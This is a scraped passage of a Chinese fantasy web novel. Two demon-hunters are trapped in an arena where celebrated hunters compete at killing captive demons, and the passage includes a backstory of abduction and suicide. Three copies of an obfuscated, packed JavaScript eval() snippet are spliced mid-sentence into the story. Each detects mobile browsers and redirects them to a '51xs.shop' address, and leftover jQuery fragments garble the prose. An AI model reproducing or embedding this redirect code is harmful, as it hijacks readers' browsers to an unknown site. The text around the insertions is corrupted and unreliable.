“那盘棋,是阵法。”谢蕴咬牙切齿道。 “不错……”段匆揉着被摔的发疼的胳膊站起来,拍拍衣服上的土,左右张望张望:“这是哪里?” 他们此刻身处一长长的石廊,两边的墙面怪石嶙峋,每隔几步,就点着一支火把。 段匆推了推两边的墙,纹丝不动。 看来,只有向前走了。 “你怎么能沉得住气的!”谢蕴看着段匆边走,边一脸好奇的东看看西看看,怒其不争道:“身为堂堂捉妖师,不仅没有发现皇上的圈套,更没有半分危机意识!我们都落入阵法了,还不快快找阵眼、破阵,竟还优哉游哉,和八哥似的伸长脖子四处打量,你是来观光的吗?” “……”段匆幽幽道:“谢公子,有没有人和你说过,太毒舌,日后是很难嫁出去的。” 谢蕴生硬道:“和我何干?” “景琰和司徒月华,身上都没有妖气,的的确确是两个凡人。”段匆正色几分,商讨道。 谢蕴神色凝重起来:“那么……是狐妖利用了他们?” 这就解释得通了。 为什么寻踪之术指向这里,师姐却不在。而他们,又这么巧的遇到了景琰和司徒月华,掉入阵法。 ——一切都是狐妖在背后操纵。 “所以我想,师姐之所以不见踪迹,是因为她也落入了狐妖的阵法。” 不急于破阵,也是想先找到师姐。 当然,还有一个很重要的原因,就是她法力不足。若是她能够强如当日的李刻青,轻松一挥便破了此阵,师姐便自然而然就能出阵了。只是……唉,小白啊小白! 段匆此刻真是再思念他不过。 但转念一想,他当日为帮她,元气大伤,此刻应当正在参商山休养。 她忽然又不期望他能像当初一样的出现了。 “我们先找到师姐,然后三人联手,破了此阵。” 谢蕴道:“好。” 其实他心中焦急,也不是没有原因的。 段匆他们,属于门派之人,此行的目的就是找回他们的师姐,至于人世间的俗事,他们自然不必担心。但他不同,他生在黎国,爹爹又是黎国上任丞相,不管是不是身在朝野,他的肩上,都挑着黎国社稷与百姓的担子。 如今皇上、丞相都不知为何,被那狐妖利用,他着实忧心这大黎国的社稷、大黎国的百姓。 沉沉的叹了口气,谢蕴继续向前走。 终于,石廊将要走到尽头,面前出现一道石门。将它推开的瞬间,喧嚣热闹的人声瞬间充斥到他们的耳膜中,吵的人耳朵生疼。 “这是……”“这……” 待看清眼前这一幕,段匆与谢蕴都呼吸一滞。 无数条白布,徐徐飘扬,让周遭的一切都变得影影绰绰,莫名诡异至极,阴森至极—— 忽然,他们身边的一条白布染上了斑驳的红,段匆伸手捻了一下,瞬间脸色一变。 湿的,温热的,这是……血。 与此同时,一个啜泣的声音响起。 “什么人!出来!” 这白色轻纱好似迷宫般,段匆和谢蕴拨开一重,又有一重,好似永远都望不到头。终于,在两人越来越心烦气躁时,掀开这一层,看到了那个哭泣的人。 她眼睛红红的,泪水不断从面颊上淌下。身上穿的,是蓬松的白色纱裙,只是,此刻她的一条腿好像受了伤,汩汩鲜血流出,染红了纱裙的一角。 “你是妖,”段匆奇道,“为什么也在这里?你怎么了?” “我、我要回家。” 段匆凝神感知了一下,这是只兔妖。 兔妖重复着小声说:“我要回家,我要回家……”泪水又滚落下来。 段匆道:“你和那狐妖有什么过节吗?” 兔妖茫然道:“我不知道……狐妖?我不认识,我只是想回家,我要回家……” 她试图站起来,可是站起来又立刻跌倒下去,于是她不再尝试,开始咬着牙,在地上向前爬。爬过的地方,逶迤出一道触目惊心的鲜红血迹。 段匆皱了皱眉,她的腿都伤成这个样子了,却毫不在意。而她的胸口处,反而好像藏着什么重要的东西,被她用一只手紧紧的捂着。 “你藏着什么东西?能让我们看一看吗?” 兔妖闻言,立马惊慌失措的摇头:“不!不!” 她越是这样,反而越是引起段匆的怀疑。段匆道声“得罪了”,便直接伸手将她胸前那东西掏了出来。 兔妖双眼瞬间变得血红,一改方才可怜而温顺的模样,面目狰狞的嘶吼道:“还给我!!!” “给给给给给!”段匆忙将这东西丢给她,兔妖这才恢复正常,珍宝般的把这东西又藏到胸口,然后继续拖着血迹往前爬。 周围仍旧很吵。有人在说笑,有人在拍手,还有什么钝钝的仿佛利箭刺破血肉的声音……只是,他们却无论如何找不到这声音是从何传出,这里只有他们三个人。 段匆揉了揉头,觉得又疼又眩晕,她定下心神,小声问谢蕴道:“这兔妖到底要干什么?” 兔妖视若宝贝的东西,只不过是一包寻常的草药。 谢蕴也紧皱着眉头,半晌,道:“你觉得这地方,真的是阵法吗?” 他这样一说,段匆也一惊,觉出了些什么。 阵法,是设阵之人用法力所幻化出的、一个虚拟的存在。故而阵法的四界,都是有法力波动的。只是此刻……段匆凝神感知。 周遭平静无波,什么都感觉不到。 谢蕴看向段匆道:“所以,这其实不是阵法。” 这里,是黎国一个真实存在的地方。狐妖利用阵法将他们送来了这里,可他们所到的地方,却其实并没有阵法存在。 “为什么?”段匆不解。周围仍旧喧嚣杂乱,她脑袋昏昏的。 抬头,看到兔妖仍旧在努力的向前爬。 她伸手,掏出了袖袋中的尘缘镜。 “我一定要救爷爷。”兔妖流着泪说道。 她看了眼床上的老爷子,他已年至耄耋,头发花白。这个年纪的人,本来就十分虚弱,又恰不巧,前天他染了风寒。 一开始,他还强撑着说自己没事,可是过了几天,他就咳嗽不止、冷汗连连,到最后,没有半分力气,连床也下不了了。 “咳咳……你听话,你不要去,外面下雪,路滑!”老爷子强撑着,责怪的说道。 兔妖道:“不是雪,那是柳絮!爷爷,您糊涂了,现在是春天。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060172|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“春天啊……”老爷子有些恍惚怅然的道。 “春天好,暖和。” 兔妖刚应了声嗯,就听老爷子继续道:“听说死在春天里,下辈子投胎,会变成一只在树头上喳喳叫的喜鹊,娃,你说是不是啊?” 兔妖的眼睛一下子就红了,鼻翼扑簌扑簌的扇动,恨恨道:“爷爷!”眼泪叭嗒滚了下来。 老爷子活了一辈子,是个固执人。 许多年前,他还年轻的时候,是一个大富人家的公子,锦衣玉食,风流快活,无所忧愁。 有一天,他被几个小厮撺掇着,心血来潮,去窑子里逛了一逛。 窑子好啊,香肩云鬓,莺歌燕舞,老爷子舒服的半躺在软席上,两个女子捏肩、两个女子捶背,还有一个,纤纤玉手执着一只酒杯,喂他喝酒。 他醉醺醺的眯着眼,头顶那盏紫金薄纱灯,晃的人有些眼花。 半梦半醒间他抬起眼皮,恰见一个清丽素雅、怀抱琵琶的身影一闪而过。 老爷子瞬间一个激灵,清醒了。他颇有兴致的问道:“那是谁?” 喂他喝酒的这女子娇笑道:“爷,她叫碧云,”眼神中几分伤感和羡慕一闪而过,笑道:“她和我们不一样呢。” 哦?不一样?怎么个不一样法? 这可着实唤起了老爷子的兴趣。 他找到老鸨,询问一番后得知,原来,这碧云的不一样之处,就在于她只卖艺、不卖身。 老爷子那时候年轻、风流、皮相也生的极好,再加上他家中财大气粗、有权有势,想讨一个女子的欢心,可真是再容易不过的事了。甚至他都不用说些什么、做些什么,只需往那儿一站,就有数不清的女子上赶着贴过来。 要什么就得到什么惯了,他反而十分轻蔑、不再珍惜。 而如今有一样得不到的东西在眼前,他开始野心勃勃、势在必得。 后来,老头子每每回忆,那碧云到底生的是何种模样,说的是何种方言,弹的是哪一支琵琶曲,他通通都记不清了。他喜欢她吗?未必。 只是,他不服气。 于是,当老爷子笑嘻嘻的去向碧云搭讪、进而对她动手动脚,却得到碧云冷淡疏离的回复:“公子,奴家不卖身,请自重”时,他十分生气,狠狠的一挥手,对手下小厮道:“我不管,本公子就是看上她了,你们看着办吧!” 三天之后的一个夜晚,碧云出现在了老爷子的床上。 老爷子瞧着她垂泪的神色,十分得意,慢悠悠的将捆着她的绳子解开,这时,碧云望向他的神情忽然变得仇恨而决绝,老爷子心头一颤:“来人!她想杀我!!!” 下一瞬,砰的一声。 老爷子怔怔的,魂飞魄散般,看着她一头撞在一旁的梁柱上,鲜血淋漓。 小厮们匆匆忙忙的冲进来:“少爷,没事吧少爷!” 却见老爷子呆呆问道:“你们是怎么把人弄来的?” 一个小厮吃吃笑道:“就是钱能解决的事嘛,少爷……” “说实话!” “少爷,少爷别生气!”小厮哭天喊地的跪下来,“小的们本想给她赎身,但她说,这世上能为她赎身的只有一个人,她是不可能跟小的们走的。然后小的们暗中打听,发现她有一个情郎,是个穷书生。” 老爷子缓缓道:“所以,你们杀了他。” “这、这!”小厮哭丧着脸道,“小的一开始也没打算对他怎么着,反而好声好气和他商量,结果、这人迂腐刻板,说什么也不答应,最后不知怎么的,就动起手来了……” 他们事先已经调查过,这人在皇城举目无亲,于是动手时也不忌惮轻重,反正打死了,也没多大的事。 结果,最后还真的给打死了。 几个小厮倒也不慌乱,拖了他的尸体,报了官,说是这人偷窃了他们府里一颗价值连城的夜明珠,衙役从他身上一搜,还真是如此,再加上他们提前已经备好银两、在衙门上下打点好关系,于是这个案子,便就这样轻快了结了。 “你那情郎已死,现在可以跟我们走了吧。” 当时,碧云愣了一愣,跌倒在地上。 但是很快,她又平静的站起来,和顺的跟着他们走了。 她表现的这样正常,哭都没哭一声,几个小厮心里也觉得有些奇怪,怕她是在蓄势、等见到了少爷就要大打大闹一番,干脆,就给她捆了一条绳子。 结果没成想,她自己一头撞死了。 此时正逢暖春,门外枝头上,喜鹊热热闹闹的叫个不停。 22. 第20章 老爷子将碧云和那书生葬在了一起。 然后,他也没说些什么,对几个小厮,也无什么责罚。 小厮们先前还担心呢,碧云死的当夜少爷神色异常,莫不是对他们的做法不满、要狠狠责罚他们?后来,见少爷和往常无二,也就放下心了。 本来嘛。两个普通的贱民,死了就死了,多大的事儿啊? 直到忽然有一天,少爷对他们说:“你们走吧。” 小厮们愣了愣,颤巍巍道:“少爷是有什么吩咐,要小的去办的?” 老爷子说:“没什么吩咐,我的意思是,从此以后,你们就不再是这里的仆从了,你们自由了,想去哪里就去哪里、想做什么就做什么吧。” 少爷这是……这是要赶了他们!小厮们瞬间哭天喊地道:“少爷,小的们知错了,少爷不要赶小的走啊……” 却听老爷子道:“我不是这个意思,只是,从此之后,就没有李府了。” 老头子卖了府邸,遣散了奴仆,散尽家财,给青楼中所有的女子都赎了身。而后,自己一个人,住到了山上去。 山上的日子自然不如府里,没人伺候,没钱花费,需得自己努力,开垦出一片荒地,一年四季辛勤劳作,才可勉强,能穿的暖粗麻衣服,能吃的饱粗茶淡饭。 许多个夜深人静时,老爷子也曾后悔过。 多少人求爷爷告奶奶,都投不来一个好胎。而他,一出生就是大富大贵之家,想怎么快活就怎么快活,这是多少人艳羡的福气,而他却轻轻一挥手,将这些都丢掉了。 只是,转而又想起死在他房内的碧云,老爷子便又觉得,此番决定是对的。 碧云死了,他未必有多惋惜、多痛心。她那情郎,他更是连面都未见过,就更谈不上痛惜了。 只是,他活了二十多年,随心所欲惯了,有朝一日,忽然发现,自己轻飘飘一个念头,落在俗世凡尘中的这些人身上,就是一场从天而降的无妄之灾。 老爷子喜欢富贵,可从今往后这样的富贵,他只怕享用得不得安心。 老爷子是个固执人。 他固执的住在了山上,一住,就是五十多年。 一个人住,自然难免寂寞,渐渐的,老爷子喜欢上了养动物。 他先是养了一只伤了翅膀的鸟,将它关在笼子中,悉心照料,待它的伤口慢慢恢复。 然后,他又遇到一只流浪狗,老爷子便用旧袄子给这狗做了一只窝。又将他的晚饭分给狗一半,这狗十分乖觉的吃完,亲昵蹭了蹭老爷子的手背。老爷子十分欣慰,自觉生活中重新出现了生机。 然后当天夜间,他听到一阵“嘎吱嘎吱”的声音。 老爷子点灯一看—— 他的狗把他的鸟吃了。 这下,老爷子伤心了,拿根棍子赶走恶狗,把鸟剩下的几根羽毛埋进土里,很长一段时间,他都不想再养动物了。 直到好些年后的某一天,老爷子去地里摘萝卜,在旁边,发现了一个扑闪着大眼睛的女娃娃。 “娃,你别哭。”这么多年了,他们两个,也算是相依为命吧,虽然没什么血缘关系,可感情,也算是和爷孙无二吧。 “总有一天,老的要离开,小的要长大,一辈一辈人,都是这么过来的。当年,我送走我爹娘时,觉得天都塌了,可你看,这么多年,没有他们,我不是也活的好好的吗?”老爷子说着,脑中竟真浮起了他爹他娘的模样。 他们和他不同,他们是善人,他娘更还是个大夫。 那年陈塘瘟疫,他们去那边救灾帮忙,可自己却不幸染病,双双身亡。那时老爷子还很小,不过八岁。 唉,八岁。现在想来,也是遗憾。 若是爹娘走的不那么早,能多教导他几年,他李少霖也不至于被府里的忠仆们宠的无法无天、也不至于……做出后来那样任性的事。 年少多轻狂。 他无心杀人,可他到底杀了人。 兔妖哭的两眼通红:“不,爷爷,我下山给你抓药,我去找好大夫……” 她说着就要走,老爷子拼尽全力抓住她:“不许下山!” “为什么呀!”兔妖哭的更厉害了。 老爷子也觉得自己方才的口气太过严厉了,叹了一叹,道:“你……是个妖怪吧。” 兔妖呆住了。 老爷子哼哼笑了笑:“当年,我在萝卜地里见到你,就觉得奇怪了。” “哪有五六岁的小娃娃,一口气能吃光一片地里所有的萝卜的?” 原来、原来爷爷早就知道了!兔妖一时五味杂陈,既喜悦他知道自己是妖怪,却从没嫌弃过自己,又见爷爷此时神形消瘦,更加伤心了。 兔子生来胆小,当年,她贪吃那些萝卜,偷偷来到地里,正咔嚓咔嚓咬的不亦乐乎,忽然发现这片地是有主人的,而且他已经离她越来越近。她生怕被发现是妖怪,就忙化形成了凡人小姑娘的模样。 与凡人住在一起,他真把自己当个小孩,处处照顾。 兔妖就留了下来,没想到,一留,就是这么多年。 “爷爷,你等着我。”兔妖擦干眼泪,下定了决心。 “皇城乃天子所居,是这天底下最容不下妖怪的地方,你一旦下山被认出来,那就再也回不来了,娃!!!你不要……” 老爷子咳个不停,后面的话断断续续,兔妖没有听清。 她只知道,爷爷生病了,生了凡人的病,需要凡人的大夫,需要凡人的药。 胆小的兔妖,第一次胆大的下了山。 “这可真是有点倒霉啊。”段匆惋惜道。 皇城乃天子脚下,皇上自然会找来最多、最厉害的捉妖师。这兔妖下山,倒是顺利的买到了药,只是正要欢天喜地的带着药回山上时,她被一个捉妖师盯上了。 她拼命逃跑,却不慎被一支箭射伤了腿,跌跌撞撞,跑不快了。 后来的回忆,就是一片漆黑了。 只知道再醒来时,就在这里。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060173|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别慌,我们不是想抢你的草药,我们也不知为何被人关到了这里,你想出去给你爷爷送药,我们也想出去看看这一切到底是怎么回事。这样吧,你跟着我们,大家联手……” 一番话未落,忽然,有一声快活的大笑传来。 “白兄,看来我要领先了!” 与此同时,一个危险的东西、伴随着一声啸鸣,快速的朝他们飞来。段匆朝还在地面上爬行的兔妖扑去,失声道:“小心!” 可是迟了。 长箭呼啸着钉进了兔妖的心口。 那包草药也被扎穿,骨碌碌的从兔妖怀里滚出来,散了一地。 兔妖慌忙的把草药聚拢在一起,哭着小声道:“我怎么这么……没用……”她的声音弱下去,缓缓倒在一边,不动了。 四周的白布纷纷扬扬,飘起飘落。 段匆现在知道为什么方才会觉得此情此景这样阴森诡异了——这一幕,像极了灵堂。 “哦?”射箭的这人走了过来,纳闷道:“你们是?” “你又是?”谢蕴咬牙道。 射箭这人一边干脆利落的将旁边喷洒上兔妖鲜血的一块白布扯下来,一边奇道:“你竟然不认识我?” “哈哈哈哈哈哈哈哈!冯兄,你也有这样一天啊。” 随着话音落下,一个斯文儒雅的年轻男人走了出来。他道:“这位可是冯兆安,冯兄,皇城有名的捉妖师。” “冯兆安?”谢蕴愣了愣,想起来了。他问这斯文男人道:“那么你是白泠?” 白泠笑道:“正是。” 冯兆安,白泠,皇城捉妖师中一对有名的死对头。 “你们现在在干什么?”谢蕴道。 他转头,见一旁的段匆面色十分不好,紧紧的握着手中那把黑剑,仿佛下一刻就能举起剑杀人。 谢蕴暗中抓住段匆的手腕,对她摇了摇头。 冯兆安将那块沾了兔妖鲜血的白布高高举起来,志得意满道:“还能干什么?自然是捉妖了!” 随着他这一声,忽然,四面八方的响起了掌声。 与此同时,火把纷纷亮起。 谢蕴低头,顿时吸了一口凉气。 原来,他们此刻正身处一个高高的看台上,方才四面八方都是黑暗,又被人施了一道结界隔开。现在,他终于看清,这四面八方都坐着人,方才他们听到的吵闹的声音原来都是这些人在说笑。 冯兆安脚下有一堆染血的白布,白泠脚下也同样有一堆。有一个人上台来,各自清点了一番,最后清清嗓子,大声宣布道:“冯天师,今日战果一百零三只!” “好!”“好!” 这人又宣布道:“白天师,今日战果一百零二只!” 冯兆安顿时大笑起来:“白兄,承让承让!” 下方掌声、喝彩如潮水般一阵一阵,段匆望着那被挂起来的、染血的白布,一时间竟有种不知自己身在何方的恍惚之感。 他们在杀妖。比赛杀妖。 23. 第21章 “且慢。” 顿时,场面一片寂静,只听下方那人缓缓笑道:“比赛尚未结束。两位天师,刚刚又放进来了一只妖。” 冯兆安和白泠对视一眼,虽都带笑,但笑容中充满凛冽之气。 现在的局面很关键,冯兆安原本比白泠多杀了一只,只要他再拿下这一只,那么就可以非常稳妥的赢下来了;但相反,若是白泠拿下这一只,那么便会立刻追上他、成为平局。 还未染血的白布微微晃动,好像有谁慌乱的在其中躲藏、奔逃。 冯兆安身形一动,向着散发妖气的地方追赶而去。 白泠自然不会给他这个机会,冷淡又客气的一笑,伸手扯住他的后衣襟,将他向后一拉,而自己趁此机会往前追赶而去。 冯兆安回过神来,哈哈的一怒笑,用上兵器,一弓箭抽在白泠腰上。 白泠吃痛,跪倒在地,冯兆安趁机超过他,但在越过白泠身边时,白泠忽然伸手抓住冯兆安的腿,用力一扯—— 两人一同滚在地上,纠缠起来。 趁着这两人打斗争夺,段匆和谢蕴也已经冲了进去,寻找放进来的这只妖怪。 白布纷纷扬扬,恍若迷宫。 谢蕴步伐匆匆,心里也一团乱麻。从幼时起,他就从来没有想过做一个捉妖师,但后来被迫无奈,只能走上这条路。 虽是被迫,但既做了,那就得做好,且做到最好。 这是他爹自小以来对他的提点。 于是,谢蕴开始拜师、修行、学法术、捉妖。早起晚睡、披星戴月,自然是苦的,可是这苦算不得真正的苦。这样的苦虽苦,但咬咬牙、强撑一阵,总是能熬的过去。 此刻,谢蕴才第一次有些领悟到真正的苦。 他发现了一种很奇怪的东西,这不是他用功读书就能消弭的,不是他努力练功就能弥补的。他本以为捉妖就只是单纯的捉妖,不放过任何一只妖。但此时,他却竟然在试图帮助一只妖。 且奇怪的是,他并不认为自己所做的是错的。 谢蕴忽然福至心灵般的理解了当夜段匆对那秋姑妖怪的怜悯。 “在这里!”段匆一把撕下眼前这道碍人的白布,喘气道。 待看清面前的妖,她愣住了。 蜃妖捂着受伤的肩膀,歉疚道:“对不起,姑娘。” “你……你怎么也这么倒霉啊?”段匆哭笑不得。 蜃妖深深低着头:“姑娘,我只是……” 后半句话她咽了下去。 她的法力是织幻,能够让人沉溺于幻境、无法自拔。所以,当面对那几个前来捉拿她的捉妖师时,她是可以让他们陷入幻境、然后顺利脱身的。只是,她到底犹豫了。 她怕他们从此再也醒不来。 她爱冬郎,而冬郎是人族,她不愿伤害他的同类。 她知道自己很愚蠢,却愚蠢的心甘情愿。 “哦?二位,这是何意?”冯兆安终于找来了这里。 白泠紧随其后,看到谢蕴和段匆挡在这蜃妖身前的模样,也有些讶异的挑了挑眉。 冯兆安对白泠道:“看来,我们是被截胡了。” 白泠戏谑的哼一声:“冯兄若是不死皮赖脸拉着我……”冯兆安打断道:“闭嘴吧你!” “……” 段匆道:“我不管你们的比赛谁赢谁输,总之今天,你们不能伤害她。” “哈哈哈哈哈哈!哈哈哈哈哈哈哈哈!”冯兆安很狂傲的大笑起来,下方的观众也随着他一同哄笑,冯兆安道:“你可是在讲笑话给我们听?” “——她可是妖怪!” “不是,”段匆认真道:“她是只好妖。” 冯兆安这次笑的更加厉害了:“妖怪还有好?” 那是自然了,段匆此刻又想起李刻青、还有快乐蹦跶的小草精来。她缓缓说道:“就像人大都是好的,可好人中也多少夹杂着一些坏人,那么妖怪也是一样了,虽然有许多是坏的,可坏妖中也总是会夹杂着一些好的。” 冯兆安皱眉,不耐烦道:“都是歪理。” 段匆却道:“千真万确,是我亲身体会。” 眼见着胜利就在眼前,却被一个弱女子和一个老头子阻止,冯兆安不耐烦了,又问了一遍他们让不让,段匆道:“不让,你不能不分青红皂白。” 皂白个你奶奶! 冯兆安本就心高气傲,礼貌到此时已是他的极限,他掏出弓箭——正这时,白泠忽然一笑,缓缓走到段匆和谢蕴那一边,道:“冯兄,我倒是觉得,她说的有几分道理。” 段匆一喜,道:“是吧?” 谢天谢地,白泠倒向他们这一边,否则,真打起来,他们未必是冯兆安的对手。 冯兆安脸色瞬间难看极了,咬牙切齿道:“白兄,你不想赢了么?” 白泠叹道:“其实我以前,也隐约生出过此般感悟。若区分好坏的标准只是人与妖,那么,这世界也就黑白分明的太简单了。冯兄,真的,算了吧,多杀一只妖又如何,若是为此失去了本心,赢了,也不过是输了。” 段匆赞同道:“说的极好,正是如此哇……” 尾音还未落下,温热鲜血溅了她一脸。 她僵硬转头,看到白泠将刀从蜃妖心口拔出,拱手微笑道:“冯兄,承让了。” 很奇怪的,段匆的第一感受,竟然不是被欺骗的愤怒,而是无力,进而因无力,衍生出了点悲伤。 喷洒上蜃妖热血的白布被挂了起来,如一面鲜血斑驳的旗子,在飒飒的迎风飘扬。冯兆安也没想到白泠会有这么一招,但是人家已经成功杀了那只妖了,他又有什么办法?他只能虽鄙夷却又不得不敬佩的冷哼两声:“白兄真是机智过人。” 白泠微笑:“一般一般。” 现在,冯兆安杀了一百零三只,白泠也杀了一百零三只。两人谁都没输。 “那么,就算两位天师都赢了吧!” 下方顿时响起一片喝彩之声,人们纷纷抢着将自己心爱的法宝之类献上来,以表达自己的尊敬与喜欢。 两百零六面鲜血斑驳的白布下,蜃妖轻轻的呼出一口气,这次,她的妖丹是彻底碎裂了。 蜃妖听的耳边喝彩连连,倒奇怪的并不觉得悲伤。 自冬郎走了,他们的孩子也没了,她一个人活在这世上,虽很用心的生活着,却总归觉得有些孤寂。 现在好了,她可以离开了,可以去见冬郎了。 段匆轻声道:“你有什么未了的心愿吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060174|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 蜃妖摇摇头。 什么都没有。她这一生十分简单,简单到只那一个人。 “姑娘,多谢你们了,只是,不必再为我而惹上麻烦了。” 她恍惚的说完,看到下方乌泱泱的人群中,出现了一袭白衣。 她真的不知道吃糖葫芦是要付钱的,初入人世,她连钱是什么都不知道。正慌神呢,穿着白衣的这人好像知道她的困境,清朗温柔的朝她走来,摊开手,手心中一枚银锭子。 蜃妖喜道:“多谢你。”伸手去拿,却不知为何,想要的又好像并不是那枚银锭子。 微风拂来,那人衣袂纷飞,笑着抓住了她的手。 “你没事吧?”耳边响起谢蕴担忧的声音。 段匆回过神来,放下蜃妖渐渐冰凉的身体,道:“没事。” 谢蕴看她一眼,欲言又止。段匆却好像在努力的压抑着什么,终于,当冯兆安和白泠受够赞誉,心满意足的将要离开时,段匆终于像憋不住了一般,一把扯下一条染血的白布、把它揉成团、然后狠狠的丢在地上,道:“没事个屁啊!!!” 谢蕴呆住了。 所有人也都呆住了。 “你……”冯兆安和白泠还没适应这一转变,段匆就大打出手过来了。 “你、你竟敢为一只妖杀人?你这个败类!” “谁敢打天师!” “上啊!!!” “他们也配称天师?!!” 一时间,场面变得混乱无比。 谢蕴见段匆这疯癫模样,生怕她受了什么刺激,来个大开杀戒就不好了。后来观察了一会,发现段匆的剑并没有拔出剑鞘——看来她还是有理智的,并不打算杀人,只是出不下这口恶气,想教训一下这些人。 但,这么多人,尽管并无意杀人,打起来控制不住、出了意外死人的可能性也还是有的啊! 于是谢蕴一开始十分用力的劝阻段匆道:“别打了!” “快住手!” 渐渐的,谢蕴发现,其实,他高估了段匆的实力。 她都被气成这副模样了,也没见法力被激发出多少,更别提出口恶气了。与其说她在打人,倒不如说她是被单方面暴打。 谢蕴于是又开始劝起另一波人:“你们别打她了!” “出人命了!” 只是,到了这个时候,早就没人听得进去他在说些什么了。谢蕴抓狂的看了看,干脆心一横,自己也冲了进去。 场面彻底陷入了混乱,谢蕴替段匆挡下一只不知道是谁的拳头,吃痛的嘶了一声,同时对段匆吼道:“你干什么啊!你疯了吗!” 段匆吼道:“我没疯!我就是咽不下这口气!你咽的下吗!” 谢蕴想了想,道:“咽不下!” 这下,倒真是豁然开朗了。还能干什么呢?打! 虽然打不过,虽然打别人一拳,自己要付出捱十拳的代价,但是没关系,他们心里高兴! 先前伪装的白头发和白胡子已经通通被扯掉了,易容的面具也被撕烂了,混乱中有个人瞅了瞅谢蕴,迷惑道:“这人怎么有点像我朝谢尚书……”谢蕴对着他的嘴就是一拳! 忽而,这一瞬间,他闻到了一股淡淡的杏花香。 24. 第22章 “小白。”段匆比谢蕴更早觉察到杏花香,喃喃道。 趁着她出神的间隙,有个人拿根棍子,照着她的脑袋狠狠敲下去。 段匆跪在地上,眼冒金星。 忽然之间,她觉得一切喧哗都消失了,周遭万籁俱寂,只有一个脚步声,一下一下,越来越近。 “这……”“这是……” 一片颤抖的惊叹和吸气之声。 段匆晃了晃头,清醒了一点,见周围人的反应如此之大,不免有些奇怪。 李刻青虽是妖,但他并不高调张扬,扔在人群中,也会被平平无奇的淹没。但此时,这里的人怎么好像见了鬼一样—— 然而当看清面前这一幕,她自己也怔住了。 来者肤白若雪,黑发飞扬,邪气四散。手中那柄折扇,散发着寒冷而仇恨的气息。早已不是一月之前在参商山遇见时那副懒洋洋、无所谓的模样。他的衣服也变成了一身妖冶的黑,边缘缠绕着华丽繁复的金色花纹,因周身都暴发着法力,那袭黑衣便好像有风在吹拂似,衣角高高扬起。 那双眼睛,漆黑幽深,嘴角噙着的一抹笑容,似嘲讽,又似压抑的怒火。 大妖。 原来这就是,真正的大妖。 饶是和他认识,段匆此刻也有种说不出的恐惧之感。 “小白。”她强撑着又叫了一声。 李刻青看她一眼,忽然手一扬,那柄折扇霎时如尖刀一样呼啸着向她飞来。 段匆怔住了,却下意识的没有躲避。 折扇堪堪擦过她的肩膀,削落了几缕发丝,然后,割开了她身后那个人的喉管。 原来,就在方才,白泠看到她竟和这大妖认识,瞬间觉得不妙,趁着她的心思还在大妖身上,偷偷的走到她背后,拔了刀想杀她。 折扇被收了回去,滴滴鲜血溅落在地面,段匆手忙脚乱的试图堵住白泠的喉咙。 白泠已经说不出话来,嗬嗬冷笑两声,推开她,踉跄着后退了好几步。 “白兄!”冯兆安慌乱的冲上来扶住他,声调怪异的好似在哭泣。 “你、你一向思虑周全,明哲保身,此时怎么这么冲动……” 白泠想说,明哲保身,也是要看时机的,这可是,一只大妖。 但是……白泠苦笑了笑…… 此时他什么也说不出来了。 只听得耳边冯兆安的声音越吼越大,越来越嘶哑,白泠用尽力气抓住他的手,在他掌心中写字。冯兆安愣了好久,才反应过来,他写的是他们捉妖师最常挂在嘴边的一句口号。口号说的惯了,说的多了,慢慢的它的分量就减轻了,人们开始将它当做一句玩笑和调侃。 “杀妖,正道,济苍生。” 但此时,冯兆安忽然又觉得这句话重新沉重了起来。 他放下白泠的尸体,再次抬头,眼神中充满压抑的、深沉的仇恨。 李刻青步步走近,强大妖气压迫的人几乎无法睁眼。他盯着那两百多片鲜血淋漓的白布,眼神徒然一冷—— 下一瞬,这些血布通通化作碎片,纷纷扬扬的飘落了下来。 “妖!大妖!”“快,快,快!” 人们终于反应过来,慌张而又声嘶力竭的吼道,第一批勇敢的人已经手持兵器冲了上来,李刻青不带感情的冷冷一笑,手中折扇再次散发出一种金石碰撞的声音,仿佛比铁还要锋利。段匆失声道:“小白,不要杀人!!!” 折扇停了下来,与此同时,一柄长剑穿透李刻青的肩膀。 血迹很快渗透,只是黑衣上并不能看见。段匆跌跌撞撞的扑过来,将剑拔出,将刺剑的这个人狠狠推开,扶住李刻青。 “为什么?”咫尺相近间,她听到他说。 “为什么?”他眼尾有些发红,不解的又问了一遍。 “我、我……”段匆只觉心乱如麻,整个人恨不能死去。 李刻青见她支吾不答,慢慢的开始笑起来,到最后,变成了大笑。段匆慌乱茫然道:“小白……” 他很轻却又很坚决的推开她扶着他的手,后退一步,与她拉开距离。神色之间像是冰冷刺骨的仇恨,却又仿佛有一种深深的掩藏在仇恨下的悲哀。 “所以,”他道:“你骨子里,终究是人。” “人杀妖,就是对。妖杀人,就是错。” 